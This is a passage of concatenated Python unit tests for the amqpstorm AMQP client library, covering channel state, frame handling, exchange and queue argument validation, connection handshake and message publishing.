        channel._consumer_tags = [1, 2, 3]

        # Close Channel.
        channel._close_channel(specification.Channel.Close(reply_text=''))

        self.assertEqual(channel._inbound, [])
        self.assertEqual(channel._consumer_tags, [])
        self.assertEqual(channel._state, channel.CLOSED)

    def test_channel_basic_handler(self):
        channel = Channel(0, None, 360)

        self.assertIsInstance(channel.basic, Basic)

    def test_channel_exchange_handler(self):
        channel = Channel(0, None, 360)

        self.assertIsInstance(channel.exchange, Exchange)

    def test_channel_queue_handler(self):
        channel = Channel(0, None, 360)

        self.assertIsInstance(channel.queue, Queue)


class ChannelExceptionTests(unittest.TestCase):
    def test_chanel_invalid_close_parameter(self):
        channel = Channel(0, None, 360)

        self.assertRaisesRegexp(AMQPInvalidArgument,
                                'reply_code should be an integer',
                                channel.close, 'Hello', 'error')
        self.assertRaisesRegexp(AMQPInvalidArgument,
                                'reply_text should be a string',
                                channel.close, 200, 200)

    def test_chanel_callback_not_set(self):
        channel = Channel(0, None, 360)

        self.assertRaisesRegexp(AMQPChannelError,
                                'no consumer_callback defined',
                                channel.process_data_events)

    def test_channel_throw_exception_check_for_error(self):
        channel = Channel(0, FakeConnection(), 360)
        channel.set_state(channel.OPEN)
        channel.exceptions.append(AMQPConnectionError('Test'))

        self.assertRaises(AMQPConnectionError, channel.check_for_errors)

    def test_channel_check_error_no_exception(self):
        channel = Channel(0, FakeConnection(), 360)
        channel.set_state(Channel.OPEN)
        channel.check_for_errors()

    def test_channel_check_error_when_closed(self):
        channel = Channel(0, FakeConnection(), 360)

        self.assertRaises(exception.AMQPChannelError, channel.check_for_errors)

    def test_channel_check_error_connection_closed(self):
        channel = Channel(0, FakeConnection(FakeConnection.CLOSED), 360)

        self.assertRaises(exception.AMQPConnectionError,
                          channel.check_for_errors)

    def test_channel_raises_when_closed(self):
        channel = Channel(0, FakeConnection(FakeConnection.OPEN), 360)
        channel.set_state(channel.CLOSED)

        self.assertFalse(channel.is_open)
        self.assertRaisesRegexp(exception.AMQPChannelError,
                                'channel was closed',
                                channel.check_for_errors)
        self.assertTrue(channel.is_closed)

    def test_channel_closed_after_connection_closed(self):
        channel = Channel(0, FakeConnection(FakeConnection.CLOSED), 360)
        channel.set_state(channel.OPEN)

        self.assertTrue(channel.is_open)
        self.assertRaisesRegexp(exception.AMQPConnectionError,
                                'connection was closed',
                                channel.check_for_errors)
        self.assertTrue(channel.is_closed)

    def test_channel_closed_after_connection_exception(self):
        connection = amqpstorm.Connection('localhost', 'guest', 'guest',
                                          lazy=True)
        channel = Channel(0, connection, 360)
        connection.exceptions.append(AMQPConnectionError('error'))
        channel.set_state(channel.OPEN)

        self.assertTrue(connection.is_closed)
        self.assertTrue(channel.is_open)
        self.assertRaisesRegexp(exception.AMQPConnectionError, 'error',
                                channel.check_for_errors)
        self.assertTrue(channel.is_closed)

    def test_channel_consume_exception_when_recoverable(self):
        connection = amqpstorm.Connection('localhost', 'guest', 'guest',
                                          lazy=True)
        connection.set_state(connection.OPEN)
        channel = Channel(0, connection, 360)
        channel.set_state(channel.OPEN)
        channel.exceptions.append(AMQPChannelError('no-route'))

        self.assertTrue(connection.is_open)
        self.assertTrue(channel.is_open)

        self.assertRaisesRegexp(exception.AMQPChannelError, 'no-route',
                                channel.check_for_errors)

        self.assertTrue(channel.is_open)

        channel.check_for_errors()

    def test_channel_build_inbound_raises(self):
        channel = Channel(0, FakeConnection(), 360)
        channel.set_state(Channel.OPEN)

        with mock.patch('amqpstorm.Channel._build_message',
                        side_effect=AMQPChannelError()):
            generator = channel.build_inbound_messages(break_on_empty=False)
            if hasattr(generator, 'next'):
                self.assertRaises(AMQPChannelError, generator.next)
            else:
                self.assertRaises(AMQPChannelError, generator.__next__)

    def test_channel_build_inbound_rases_in_loop(self):
        channel = Channel(0, FakeConnection(), 360)
        channel.set_state(Channel.OPEN)
        self.first = True

        def raise_after_one():
            if not self.first:
                channel.exceptions.append(AMQPChannelError())
            self.first = False
            return None

        with mock.patch('amqpstorm.Channel._build_message',
                        side_effect=raise_after_one):
            generator = channel.build_inbound_messages(break_on_empty=False)
            if hasattr(generator, 'next'):
                self.assertRaises(AMQPChannelError, generator.next)
            else:
                self.assertRaises(AMQPChannelError, generator.__next__)


class ChannelBuildMessageTests(unittest.TestCase):
    def setUp(self):
        self.logging_handler = MockLoggingHandler()
        logging.root.addHandler(self.logging_handler)

    def test_channel_build_message(self):
        channel = Channel(0, None, 360)

        message = b'Hello World!'
        message_len = len(message)

        deliver = specification.Basic.Deliver()
        header = ContentHeader(body_size=message_len)
        body = ContentBody(value=message)

        channel._inbound = [deliver, header, body]
        result = channel._build_message()

        self.assertEqual(result._body, message)

    def test_channel_build_out_of_order_message_deliver(self):
        channel = Channel(0, None, 360)

        message = b'Hello World!'
        message_len = len(message)

        deliver = specification.Basic.Deliver()
        header = ContentHeader(body_size=message_len)

        channel._inbound = [deliver, deliver, header]
        result = channel._build_message()

        self.assertEqual(result, None)
        self.assertIn("Received an out-of-order frame:",
                      self.logging_handler.messages['warning'][0])

    def test_channel_build_out_of_order_message_header(self):
        channel = Channel(0, None, 360)

        message = b'Hello World!'
        message_len = len(message)

        deliver = specification.Basic.Deliver()
        header = ContentHeader(body_size=message_len)
        body = ContentBody(value=message)

        channel._inbound = [header, deliver, header, body]
        result = channel._build_message()

        self.assertEqual(result, None)
        self.assertIn("Received an out-of-order frame:",
                      self.logging_handler.messages['warning'][0])

    def test_channel_build_message_headers(self):
        channel = Channel(0, None, 360)

        deliver = specification.Basic.Deliver()
        header = ContentHeader(body_size=10)

        channel._inbound = [deliver, header]
        result = channel._build_message_headers()

        self.assertIsInstance(result[0], specification.Basic.Deliver)
        self.assertIsInstance(result[1], ContentHeader)
        self.assertEqual(result[1].body_size, 10)

    def test_channel_build_message_headers_out_of_order(self):
        channel = Channel(0, None, 360)

        deliver = specification.Basic.Deliver()
        header = ContentHeader(body_size=10)

        channel._inbound = [header, deliver]
        result = channel._build_message_headers()

        self.assertEqual(result, None)
        self.assertIn("Received an out-of-order frame:",
                      self.logging_handler.messages['warning'][0])

        self.logging_handler.messages['warning'] = []

        channel._inbound = [deliver, deliver]
        result = channel._build_message_headers()

        self.assertEqual(result, None)
        self.assertIn("Received an out-of-order frame:",
                      self.logging_handler.messages['warning'][0])

    def test_channel_build_message_headers_empty(self):
        channel = Channel(0, None, 360)
        channel._inbound = []
        self.assertRaises(IndexError, channel._build_message_headers)

    def test_channel_build_message_empty_and_then_break(self):
        """Start building a message with an empty inbound queue,
            and send an empty ContentBody that should be ignored.

        :return:
        """
        channel = Channel(0, None, 360)
        channel._inbound = []

        def add_inbound():
            channel._inbound.append(ContentBody())

        threading.Timer(function=add_inbound, interval=0.5).start()

        self.assertFalse(channel._build_message_body(128))

    def test_channel_build_message_body(self):
        channel = Channel(0, None, 360)

        message = b'Hello World!'
        message_len = len(message)

        body = ContentBody(value=message)
        channel._inbound = [body]
        result = channel._build_message_body(message_len)

        self.assertEqual(message, result)

    def test_channel_build_message_body_break_on_none_value(self):
        channel = Channel(0, None, 360)

        message = b'Hello World!'
        message_len = len(message)

        body = ContentBody(value=None)
        channel._inbound = [body]
        result = channel._build_message_body(message_len)

        self.assertEqual(result, b'')

    def test_channel_build_empty_inbound_messages(self):
        channel = Channel(0, FakeConnection(), 360)
        channel.set_state(Channel.OPEN)
        generator = channel.build_inbound_messages(break_on_empty=True)

        if hasattr(generator, 'next'):
            self.assertRaises(StopIteration, generator.next)
        else:
            self.assertRaises(StopIteration, generator.__next__)

    def test_channel_build_inbound_messages(self):
        channel = Channel(0, FakeConnection(), 360)
        channel.set_state(Channel.OPEN)

        message = b'Hello World!'
        message_len = len(message)

        deliver = specification.Basic.Deliver()
        header = ContentHeader(body_size=message_len)
        body = ContentBody(value=message)

        channel._inbound = [deliver, header, body]

        for message in channel.build_inbound_messages(break_on_empty=True):
            self.assertIsInstance(message, Message)

    def test_channel_build_multiple_inbound_messages(self):
        channel = Channel(0, FakeConnection(), 360)
        channel.set_state(Channel.OPEN)

        message = b'Hello World!'
        message_len = len(message)

        deliver = specification.Basic.Deliver()
        header = ContentHeader(body_size=message_len)
        body = ContentBody(value=message)

        channel._inbound = [deliver, header, body, deliver, header, body,
                            deliver, header, body, deliver, header, body]

        index = 0
        for message in channel.build_inbound_messages(break_on_empty=True):
            self.assertIsInstance(message, Message)
            index += 1

        self.assertEqual(index, 4)


class ChannelFrameTests(unittest.TestCase):
    def setUp(self):
        self.logging_handler = MockLoggingHandler()
        logging.root.addHandler(self.logging_handler)

    def test_channel_consume_ok_frame(self):
        tag = 'hello-world'
        channel = Channel(0, None, rpc_timeout=360)

        channel.on_frame(specification.Basic.ConsumeOk(tag))

        self.assertEqual(channel.consumer_tags[0], tag)

    def test_channel_cancel_ok_frame(self):
        tag = 'hello-world'
        channel = Channel(0, None, rpc_timeout=360)
        channel.add_consumer_tag(tag)

        channel.on_frame(specification.Basic.CancelOk(tag))

        self.assertFalse(channel.consumer_tags)

    def test_channel_flow_frame(self):
        connection = FakeConnection()
        connection.set_state(connection.OPEN)
        channel = Channel(0, connection, rpc_timeout=360)
        channel.set_state(channel.OPEN)

        channel.on_frame(specification.Channel.Flow())

        self.assertIsInstance(connection.frames_out[0][1],
                              specification.Channel.FlowOk)

    def test_channel_basic_cancel_frame(self):
        connection = amqpstorm.Connection('localhost', 'guest', 'guest',
                                          lazy=True)
        channel = Channel(0, connection, rpc_timeout=360)

        channel.on_frame(specification.Basic.Cancel('unit-test'))

        self.assertEqual(self.logging_handler.messages['warning'][0],
                         'Received Basic.Cancel on consumer_tag: unit-test')

    def test_channel_basic_return_frame(self):
        connection = amqpstorm.Connection('localhost', 'guest', 'guest',
                                          lazy=True)
        channel = Channel(0, connection, rpc_timeout=360)

        channel.on_frame(specification.Basic.Return(reply_code=500,
                                                    reply_text='test',
                                                    exchange='exchange',
                                                    routing_key='routing_key'))

        self.assertEqual(str(channel.exceptions[0]),
                         "Message not delivered: test (500) to queue "
                         "'routing_key' from exchange 'exchange'")

    def test_channel_close_frame(self):
        connection = amqpstorm.Connection('localhost', 'guest', 'guest',
                                          lazy=True)
        channel = Channel(0, connection, rpc_timeout=360)

        channel.on_frame(specification.Channel.Close(reply_code=500,
                                                     reply_text='test'))

        self.assertEqual(str(channel.exceptions[0]),
                         'Channel 0 was closed by remote server: test')

    def test_channel_basic_return_raises_when_500(self):
        channel = Channel(0, None, 360)

        basic_return = specification.Basic.Return(reply_code=500,
                                                  reply_text='Error')
        channel._basic_return(basic_return)

        self.assertEqual(len(channel.exceptions), 1)
        why = channel.exceptions.pop(0)
        self.assertIsInstance(why, AMQPMessageError)
        self.assertEqual(str(why), "Message not delivered: Error (500) "
                                   "to queue '' from exchange ''")

    def test_channel_unhandled_frame(self):
        connection = amqpstorm.Connection('localhost', 'guest', 'guest',
                                          lazy=True)
        channel = Channel(0, connection, rpc_timeout=360)

        channel.on_frame(FakeFrame())

        self.assertEqual(self.logging_handler.messages['error'][0],
                         "[Channel0] Unhandled Frame: FakeFrame -- "
                         "{'data_1': 'hello world'}")






import logging

try:
    import unittest2 as unittest
except ImportError:
    import unittest

from amqpstorm.base import Stateful
from amqpstorm.base import BaseChannel

logging.basicConfig(level=logging.DEBUG)


class BasicChannelTests(unittest.TestCase):
    def test_base_channel_id(self):
        channel = BaseChannel(1337)

        self.assertEqual(channel.channel_id, 1337)

    def test_base_channel_add_consumer_tag(self):
        channel = BaseChannel(0)
        channel.add_consumer_tag('my_tag')

        self.assertEqual(channel.consumer_tags[0], 'my_tag')

    def test_base_channel_remove_single_consumer_tag(self):
        channel = BaseChannel(0)

        self.assertEqual(len(channel.consumer_tags), 0)

        channel.add_consumer_tag('1')
        channel.add_consumer_tag('2')

        self.assertEqual(len(channel.consumer_tags), 2)

        channel.remove_consumer_tag('1')

        self.assertEqual(len(channel.consumer_tags), 1)
        self.assertEqual(channel.consumer_tags[0], '2')

    def test_base_channel_remove_all_consumer_tags(self):
        channel = BaseChannel(0)

        self.assertEqual(len(channel.consumer_tags), 0)

        for _ in range(100):
            channel.add_consumer_tag('my_tag')
        channel.remove_consumer_tag()

        self.assertEqual(len(channel.consumer_tags), 0)


class StatefulTests(unittest.TestCase):
    def test_stateful_default_is_closed(self):
        stateful = Stateful()

        self.assertTrue(stateful.is_closed)

    def test_stateful_set_open(self):
        stateful = Stateful()
        stateful.set_state(Stateful.OPEN)

        self.assertTrue(stateful.is_open)

    def test_stateful_set_opening(self):
        stateful = Stateful()
        stateful.set_state(Stateful.OPENING)

        self.assertTrue(stateful.is_opening)

    def test_stateful_set_closed(self):
        stateful = Stateful()
        stateful.set_state(Stateful.CLOSED)

        self.assertTrue(stateful.is_closed)

    def test_stateful_set_closing(self):
        stateful = Stateful()
        stateful.set_state(Stateful.CLOSING)

        self.assertTrue(stateful.is_closing)






import logging

try:
    import unittest2 as unittest
except ImportError:
    import unittest

from pamqp.specification import Exchange as pamqp_exchange

from amqpstorm import exception
from amqpstorm.channel import Exchange
from amqpstorm.channel import Channel

from amqpstorm.tests.utility import FakeConnection

logging.basicConfig(level=logging.DEBUG)


class ExchangeTests(unittest.TestCase):
    def test_exchange_declare(self):
        def on_declare(*_):
            channel.rpc.on_frame(pamqp_exchange.DeclareOk())

        connection = FakeConnection(on_write=on_declare)
        channel = Channel(0, connection, 0.1)
        channel.set_state(Channel.OPEN)
        exchange = Exchange(channel)
        self.assertFalse(exchange.declare())

    def test_exchange_delete(self):
        def on_delete(*_):
            channel.rpc.on_frame(pamqp_exchange.DeleteOk())

        connection = FakeConnection(on_write=on_delete)
        channel = Channel(0, connection, 0.1)
        channel.set_state(Channel.OPEN)
        exchange = Exchange(channel)
        self.assertFalse(exchange.delete())

    def test_exchange_bind(self):
        def on_bind(*_):
            channel.rpc.on_frame(pamqp_exchange.BindOk())

        connection = FakeConnection(on_write=on_bind)
        channel = Channel(0, connection, 0.1)
        channel.set_state(Channel.OPEN)
        exchange = Exchange(channel)
        self.assertFalse(exchange.bind())

    def test_exchange_unbind(self):
        def on_unbind(*_):
            channel.rpc.on_frame(pamqp_exchange.UnbindOk())

        connection = FakeConnection(on_write=on_unbind)
        channel = Channel(0, connection, 0.1)
        channel.set_state(Channel.OPEN)
        exchange = Exchange(channel)
        self.assertFalse(exchange.unbind())


class ExchangeExceptionTests(unittest.TestCase):
    def test_exchange_declare_invalid_parameter(self):
        channel = Channel(0, FakeConnection(), 360)
        channel.set_state(Channel.OPEN)
        exchange = Exchange(channel)

        self.assertRaisesRegexp(exception.AMQPInvalidArgument,
                                'exchange should be a string',
                                exchange.declare, None)

        self.assertRaisesRegexp(exception.AMQPInvalidArgument,
                                'exchange_type should be a string',
                                exchange.declare, 'unittest', None)

        self.assertRaisesRegexp(exception.AMQPInvalidArgument,
                                'passive should be a boolean',
                                exchange.declare, 'unittest', 'unittest', None)

        self.assertRaisesRegexp(exception.AMQPInvalidArgument,
                                'durable should be a boolean',
                                exchange.declare, 'unittest', 'unittest', True,
                                None)

        self.assertRaisesRegexp(exception.AMQPInvalidArgument,
                                'auto_delete should be a boolean',
                                exchange.declare, 'unittest', 'unittest', True,
                                True, None)

        self.assertRaisesRegexp(exception.AMQPInvalidArgument,
                                'arguments should be a dict or None',
                                exchange.declare, 'unittest', 'unittest', True,
                                True, True, [])

    def test_exchange_delete_invalid_parameter(self):
        channel = Channel(0, FakeConnection(), 360)
        channel.set_state(Channel.OPEN)
        exchange = Exchange(channel)

        self.assertRaisesRegexp(exception.AMQPInvalidArgument,
                                'exchange should be a string',
                                exchange.delete, None)

    def test_exchange_bind_invalid_parameter(self):
        channel = Channel(0, FakeConnection(), 360)
        channel.set_state(Channel.OPEN)
        exchange = Exchange(channel)

        self.assertRaisesRegexp(exception.AMQPInvalidArgument,
                                'destination should be a string',
                                exchange.bind, None)

        self.assertRaisesRegexp(exception.AMQPInvalidArgument,
                                'source should be a string',
                                exchange.bind, '', None)

        self.assertRaisesRegexp(exception.AMQPInvalidArgument,
                                'routing_key should be a string',
                                exchange.bind, '', '', None)

        self.assertRaisesRegexp(exception.AMQPInvalidArgument,
                                'arguments should be a dict or None',
                                exchange.bind, '', '', '', [])

    def test_exchange_unbind_invalid_parameter(self):
        channel = Channel(0, FakeConnection(), 360)
        channel.set_state(Channel.OPEN)
        exchange = Exchange(channel)

        self.assertRaisesRegexp(exception.AMQPInvalidArgument,
                                'destination should be a string',
                                exchange.unbind, None)

        self.assertRaisesRegexp(exception.AMQPInvalidArgument,
                                'source should be a string',
                                exchange.unbind, '', None)

        self.assertRaisesRegexp(exception.AMQPInvalidArgument,
                                'routing_key should be a string',
                                exchange.unbind, '', '', None)

        self.assertRaisesRegexp(exception.AMQPInvalidArgument,
                                'arguments should be a dict or None',
                                exchange.unbind, '', '', '', [])






import logging
import platform

try:
    import unittest2 as unittest
except ImportError:
    import unittest

import amqpstorm

from pamqp.specification import Connection
from pamqp.heartbeat import Heartbeat

from amqpstorm.channel0 import Channel0
from amqpstorm import AMQPConnectionError

from amqpstorm.tests.utility import FakeConnection
from amqpstorm.tests.utility import FakeFrame
from amqpstorm.tests.utility import MockLoggingHandler

logging.basicConfig(level=logging.DEBUG)


class Channel0Tests(unittest.TestCase):
    def test_channel0_client_properties(self):
        channel = Channel0(FakeConnection())
        result = channel._client_properties()

        information = 'See https://github.com/eandersson/amqpstorm'
        python_version = 'Python %s (%s)' % (platform.python_version(),
                                             platform.python_implementation())

        self.assertIsInstance(result, dict)
        self.assertTrue(result['capabilities']['authentication_failure_close'])
        self.assertTrue(result['capabilities']['consumer_cancel_notify'])
        self.assertTrue(result['capabilities']['publisher_confirms'])
        self.assertTrue(result['capabilities']['connection.blocked'])
        self.assertTrue(result['capabilities']['basic.nack'])
        self.assertEqual(result['information'], information)
        self.assertEqual(result['platform'], python_version)

    def test_channel0_credentials(self):
        connection = FakeConnection()
        connection.parameters['username'] = 'guest'
        connection.parameters['password'] = 'password'
        channel = Channel0(connection)
        credentials = channel._plain_credentials()

        self.assertEqual(credentials, '\0guest\0password')

    def test_channel0_close_connection(self):
        connection = FakeConnection()
        connection.set_state(connection.OPEN)
        channel = Channel0(connection)

        self.assertTrue(connection.is_open)

        channel._close_connection(
            Connection.Close(reply_text=b'',
                             reply_code=200)
        )

        self.assertEqual(connection.exceptions, [])
        self.assertTrue(connection.is_closed)

    def test_channel0_forcefully_closed_connection(self):
        connection = amqpstorm.Connection('localhost', 'guest', 'guest',
                                          lazy=True)
        connection.set_state(connection.OPEN)
        channel = Channel0(connection)
        channel._close_connection(
            Connection.Close(reply_text=b'',
                             reply_code=500)
        )

        self.assertTrue(connection.is_closed)
        self.assertRaises(AMQPConnectionError, connection.check_for_errors)

    def test_channel0_send_start_ok_frame(self):
        connection = FakeConnection()
        connection.parameters['username'] = 'guest'
        connection.parameters['password'] = 'password'
        channel = Channel0(connection)
        channel._send_start_ok_frame(Connection.Start(mechanisms=b'PLAIN'))

        self.assertNotEqual(connection.frames_out, [])

        channel_id, frame_out = connection.frames_out.pop()

        self.assertEqual(channel_id, 0)
        self.assertIsInstance(frame_out, Connection.StartOk)
        self.assertNotEqual(frame_out.locale, '')
        self.assertIsNotNone(frame_out.locale)

    def test_channel0_send_tune_ok_frame(self):
        connection = FakeConnection()
        channel = Channel0(connection)
        channel._send_tune_ok_frame()

        self.assertNotEqual(connection.frames_out, [])

        channel_id, frame_out = connection.frames_out.pop()

        self.assertEqual(channel_id, 0)
        self.assertIsInstance(frame_out, Connection.TuneOk)

    def test_channel0_send_heartbeat_frame(self):
        connection = FakeConnection()
        channel = Channel0(connection)
        channel.send_heartbeat()

        self.assertNotEqual(connection.frames_out, [])

        channel_id, frame_out = connection.frames_out.pop()

        self.assertEqual(channel_id, 0)
        self.assertIsInstance(frame_out, Heartbeat)

    def test_channel0_send_close_connection_frame(self):
        connection = FakeConnection()
        channel = Channel0(connection)
        channel.send_close_connection_frame()

        self.assertNotEqual(connection.frames_out, [])

        channel_id, frame_out = connection.frames_out.pop()

        self.assertEqual(channel_id, 0)
        self.assertIsInstance(frame_out, Connection.Close)

    def test_channel0_invalid_authentication_mechanism(self):
        connection = amqpstorm.Connection('localhost', 'guest', 'guest',
                                          lazy=True)
        channel = Channel0(connection)
        channel._send_start_ok_frame(
            Connection.Start(mechanisms='CRAM-MD5 SCRAM-SHA-1 SCRAM-SHA-256'))

        self.assertRaises(AMQPConnectionError, connection.check_for_errors)


class Channel0FrameTests(unittest.TestCase):
    def setUp(self):
        self.logging_handler = MockLoggingHandler()
        logging.root.addHandler(self.logging_handler)

    def test_channel0_open_ok_frame(self):
        connection = amqpstorm.Connection('localhost', 'guest', 'guest',
                                          lazy=True)
        channel = Channel0(connection)

        self.assertFalse(connection.is_open)

        channel.on_frame(Connection.OpenOk())

        self.assertTrue(connection.is_open)

    def test_channel0_on_close_frame(self):
        connection = amqpstorm.Connection('localhost', 'guest', 'guest',
                                          lazy=True)
        connection.set_state(connection.OPEN)
        channel = Channel0(connection)

        self.assertFalse(connection.exceptions)

        channel.on_frame(Connection.Close())

        self.assertTrue(connection.exceptions)
        self.assertTrue(connection.is_closed)
        self.assertRaisesRegexp(AMQPConnectionError,
                                'Connection was closed by remote server: ',
                                connection.check_for_errors)

    def test_channel0_heartbeat(self):
        connection = amqpstorm.Connection('localhost', 'guest', 'guest',
                                          lazy=True)
        channel = Channel0(connection)
        self.assertIsNone(channel.on_frame(Heartbeat()))

    def test_channel0_is_blocked(self):
        connection = amqpstorm.Connection('localhost', 'guest', 'guest',
                                          lazy=True)
        channel = Channel0(connection)

        self.assertFalse(channel.is_blocked)

        channel.on_frame(Connection.Blocked('unit-test'))

        self.assertTrue(channel.is_blocked)
        self.assertEqual(self.logging_handler.messages['warning'][0],
                         'Connection is blocked by remote server: unit-test')

    def test_channel0_unblocked(self):
        connection = amqpstorm.Connection('localhost', 'guest', 'guest',
                                          lazy=True)
        channel = Channel0(connection)

        channel.on_frame(Connection.Blocked())

        self.assertTrue(channel.is_blocked)

        channel.on_frame(Connection.Unblocked())

        self.assertFalse(channel.is_blocked)
        self.assertEqual(self.logging_handler.messages['info'][0],
                         'Connection is no longer blocked by remote server')

    def test_channel0_unhandled_frame(self):
        connection = amqpstorm.Connection('localhost', 'guest', 'guest',
                                          lazy=True)
        channel = Channel0(connection)

        channel.on_frame(FakeFrame())

        self.assertEqual(self.logging_handler.messages['error'][0],
                         "[Channel0] Unhandled Frame: FakeFrame")






import logging

try:
    import unittest2 as unittest
except ImportError:
    import unittest

from pamqp.specification import Queue as pamqp_queue

from amqpstorm import exception
from amqpstorm.channel import Queue
from amqpstorm.channel import Channel

from amqpstorm.tests.utility import FakeConnection

logging.basicConfig(level=logging.DEBUG)


class QueueTests(unittest.TestCase):
    def test_queue_declare(self):
        def on_declare(*_):
            channel.rpc.on_frame(pamqp_queue.DeclareOk())

        connection = FakeConnection(on_write=on_declare)
        channel = Channel(0, connection, 0.1)
        channel.set_state(Channel.OPEN)
        queue = Queue(channel)

        self.assertEqual(queue.declare(),
                         {
                             'queue': '',
                             'message_count': 0,
                             'consumer_count': 0
                         })

    def test_queue_delete(self):
        def on_delete(*_):
            channel.rpc.on_frame(pamqp_queue.DeleteOk())

        connection = FakeConnection(on_write=on_delete)
        channel = Channel(0, connection, 0.1)
        channel.set_state(Channel.OPEN)
        exchange = Queue(channel)

        self.assertEqual(exchange.delete(), {'message_count': 0})

    def test_queue_purge(self):
        def on_purge(*_):
            channel.rpc.on_frame(pamqp_queue.PurgeOk())

        connection = FakeConnection(on_write=on_purge)
        channel = Channel(0, connection, 0.1)
        channel.set_state(Channel.OPEN)
        exchange = Queue(channel)

        self.assertEqual(exchange.purge(), {'message_count': 0})

    def test_queue_bind(self):
        def on_bind(*_):
            channel.rpc.on_frame(pamqp_queue.BindOk())

        connection = FakeConnection(on_write=on_bind)
        channel = Channel(0, connection, 0.1)
        channel.set_state(Channel.OPEN)
        exchange = Queue(channel)

        self.assertFalse(exchange.bind())

    def test_queue_unbind(self):
        def on_unbind(*_):
            channel.rpc.on_frame(pamqp_queue.UnbindOk())

        connection = FakeConnection(on_write=on_unbind)
        channel = Channel(0, connection, 0.1)
        channel.set_state(Channel.OPEN)
        exchange = Queue(channel)

        self.assertFalse(exchange.unbind())


class QueueExceptionTests(unittest.TestCase):
    def test_queue_declare_invalid_parameter(self):
        channel = Channel(0, FakeConnection(), 360)
        channel.set_state(Channel.OPEN)
        queue = Queue(channel)

        self.assertRaisesRegexp(exception.AMQPInvalidArgument,
                                'queue should be a string',
                                queue.declare, None)

        self.assertRaisesRegexp(exception.AMQPInvalidArgument,
                                'passive should be a boolean',
                                queue.declare, 'unittest', None)

        self.assertRaisesRegexp(exception.AMQPInvalidArgument,
                                'durable should be a boolean',
                                queue.declare, 'unittest', True, None)

        self.assertRaisesRegexp(exception.AMQPInvalidArgument,
                                'exclusive should be a boolean',
                                queue.declare, 'unittest', True, True,
                                None)

        self.assertRaisesRegexp(exception.AMQPInvalidArgument,
                                'auto_delete should be a boolean',
                                queue.declare, 'unittest', True, True,
                                True, None)

        self.assertRaisesRegexp(exception.AMQPInvalidArgument,
                                'arguments should be a dict or None',
                                queue.declare, 'unittest', True, True,
                                True, True, [])

    def test_queue_delete_invalid_parameter(self):
        channel = Channel(0, FakeConnection(), 360)
        channel.set_state(Channel.OPEN)
        queue = Queue(channel)

        self.assertRaisesRegexp(exception.AMQPInvalidArgument,
                                'queue should be a string',
                                queue.delete, None)

        self.assertRaisesRegexp(exception.AMQPInvalidArgument,
                                'if_unused should be a boolean',
                                queue.delete, '', None)

        self.assertRaisesRegexp(exception.AMQPInvalidArgument,
                                'if_empty should be a boolean',
                                queue.delete, '', True, None)

    def test_queue_purge_invalid_parameter(self):
        channel = Channel(0, FakeConnection(), 360)
        channel.set_state(Channel.OPEN)
        queue = Queue(channel)

        self.assertRaisesRegexp(exception.AMQPInvalidArgument,
                                'queue should be a string',
                                queue.purge, None)

    def test_queue_bind_invalid_parameter(self):
        channel = Channel(0, FakeConnection(), 360)
        channel.set_state(Channel.OPEN)
        queue = Queue(channel)

        self.assertRaisesRegexp(exception.AMQPInvalidArgument,
                                'queue should be a string',
                                queue.bind, None)

        self.assertRaisesRegexp(exception.AMQPInvalidArgument,
                                'exchange should be a string',
                                queue.bind, '', None)

        self.assertRaisesRegexp(exception.AMQPInvalidArgument,
                                'routing_key should be a string',
                                queue.bind, '', '', None)

        self.assertRaisesRegexp(exception.AMQPInvalidArgument,
                                'arguments should be a dict or None',
                                queue.bind, '', '', '', [])

    def test_queue_unbind_invalid_parameter(self):
        channel = Channel(0, FakeConnection(), 360)
        channel.set_state(Channel.OPEN)
        queue = Queue(channel)

        self.assertRaisesRegexp(exception.AMQPInvalidArgument,
                                'queue should be a string',
                                queue.unbind, None)

        self.assertRaisesRegexp(exception.AMQPInvalidArgument,
                                'exchange should be a string',
                                queue.unbind, '', None)

        self.assertRaisesRegexp(exception.AMQPInvalidArgument,
                                'routing_key should be a string',
                                queue.unbind, '', '', None)

        self.assertRaisesRegexp(exception.AMQPInvalidArgument,
                                'arguments should be a dict or None',
                                queue.unbind, '', '', '', [])






# -*- coding: utf-8 -*-
import logging
import random
import string
import sys
import uuid

try:
    import unittest2 as unittest
except ImportError:
    import unittest

from pamqp.body import ContentBody
from pamqp.header import ContentHeader
from pamqp.specification import Basic as spec_basic

from amqpstorm import exception
from amqpstorm.channel import Basic
from amqpstorm.channel import Channel
from amqpstorm.compatibility import RANGE
from amqpstorm.tests.utility import FakeConnection

logging.basicConfig(level=logging.DEBUG)


class BasicTests(unittest.TestCase):
    def test_basic_publish(self):
        message = str(uuid.uuid4())
        exchange = 'test'
        routing_key = 'hello'
        properties = {'headers': {
            'key': 'value'
        }}

        connection = FakeConnection()
        channel = Channel(9, connection, 0.0001)
        channel.set_state(Channel.OPEN)
        basic = Basic(channel)
        basic.publish(body=message,
                      routing_key=routing_key,
                      exchange=exchange,
                      properties=properties,
                      mandatory=True,
                      immediate=True)

        channel_id, payload = connection.frames_out.pop()
        basic_publish, content_header, content_body = payload

        # Verify Channel ID
        self.assertEqual(channel_id, 9)

        # Verify Classes
        self.assertIsInstance(basic_publish, spec_basic.Publish)
        self.assertIsInstance(content_header, ContentHeader)
        self.assertIsInstance(content_body, ContentBody)

        # Verify Content
        self.assertEqual(message, content_body.value.decode('utf-8'))
        self.assertEqual(exchange, basic_publish.exchange)
        self.assertEqual(routing_key, basic_publish.routing_key)
        self.assertTrue(basic_publish.immediate)
        self.assertTrue(basic_publish.mandatory)
        self.assertIn('key', dict(content_header.properties)['headers'])

    def test_basic_publish_confirms_ack(self):
        message = str(uuid.uuid4())

        def on_publish_return_ack(*_):
            channel.rpc.on_frame(spec_basic.Ack())

        connection = FakeConnection(on_write=on_publish_return_ack)
        channel = Channel(9, connection, 1)
        channel.confirming_deliveries = True
        channel.set_state(Channel.OPEN)
        basic = Basic(channel)

        self.assertTrue(basic.publish(body=message,
                                      routing_key='unittest'))

    def test_basic_publish_confirms_nack(self):
        message = str(uuid.uuid4())

        def on_publish_return_nack(*_):
            channel.rpc.on_frame(spec_basic.Nack())

        connection = FakeConnection(on_write=on_publish_return_nack)
        channel = Channel(9, connection, 1)
        channel.confirming_deliveries = True
        channel.set_state(Channel.OPEN)
        basic = Basic(channel)

        self.assertFalse(basic.publish(body=message,
                                       routing_key='unittest'))

    def test_basic_create_content_body(self):
        basic = Basic(None)

        message = b'Hello World!'
        results = []
        for frame in basic._create_content_body(message):
            results.append(frame)

        self.assertEqual(len(results), 1)
        self.assertEqual(results[0].value, message)

    def test_basic_create_content_body_growing(self):
        basic = Basic(None)
        long_string = ''.join(random.choice(string.ascii_letters)
                              for _ in RANGE(32768))

        for index in RANGE(32768):
